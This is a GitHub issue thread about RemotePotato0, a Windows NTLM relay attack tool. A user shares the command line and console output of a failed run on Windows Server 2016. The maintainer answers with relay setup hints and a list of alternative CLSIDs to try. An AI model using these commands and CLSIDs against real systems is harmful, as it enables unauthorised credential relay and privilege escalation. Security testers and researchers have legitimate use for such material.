Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CLSID not found #3

Closed
metac0rtex opened this issue Apr 27, 2021 · 1 comment
Closed

CLSID not found #3

metac0rtex opened this issue Apr 27, 2021 · 1 comment

Comments

@metac0rtex
Copy link

I am attempting to use this and I got the following output on the user machine.

C:\Users\user\Documents>.\RemotePotato0.exe -r 10.1.1.69 -p 1111
[*] Starting the NTLM relay attack, remember to forward tcp port 135 on 10.1.1.69 to your victim machine on port 1111 before and to launch ntlmrelayx on 10.1.1.69!!
[*] RPC relay server listening on port 9997 ...
[*] Calling CoGetInstanceFromIStorage with CLSID:{5167B42F-C111-47A1-ACC4-8EABE61B0B54}
[*] Starting RogueOxidResolver RPC Server listening on port 1111 ...
[*] IStoragetrigger written: 104 bytes
[!] Error. CLSID {5167B42F-C111-47A1-ACC4-8EABE61B0B54} not found. Bad path to object.

The user machine is Windows 2016 Standard (build:14393). Do I have to use a different CLSID?

@antonioCoco
Copy link
Owner

i have tested the default clsid we hardcoded {5167B42F-C111-47A1-ACC4-8EABE61B0B54} and i can confirm it works on a windows server 2019 and server 2016 default installation.

If you want a complete list of the CLSID usable on a windows server 2016 you can find it here --> http://ohpe.it/juicy-potato/CLSID/Windows_Server_2016_Standard/

following an extracted useful list:

{924DC564-16A6-42EB-929A-9A61FA7DA06F}
{f65817c8-dd85-4136-89f0-b9d12939f2c4}
{BA441419-0B3F-4FB6-A903-D16CC14CCA44}
{0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4}
{934b410c-43e4-415e-9935-fbc081ba93a9}
{f8842f8e-dafe-4b37-9d38-4e0714a61149}
{0002DF02-0000-0000-C000-000000000046}
{5167B42F-C111-47A1-ACC4-8EABE61B0B54}
{c58ca859-80bc-48df-8f06-ffa94a405bff}
{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}

feel free to pick one of it if any problems occur.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants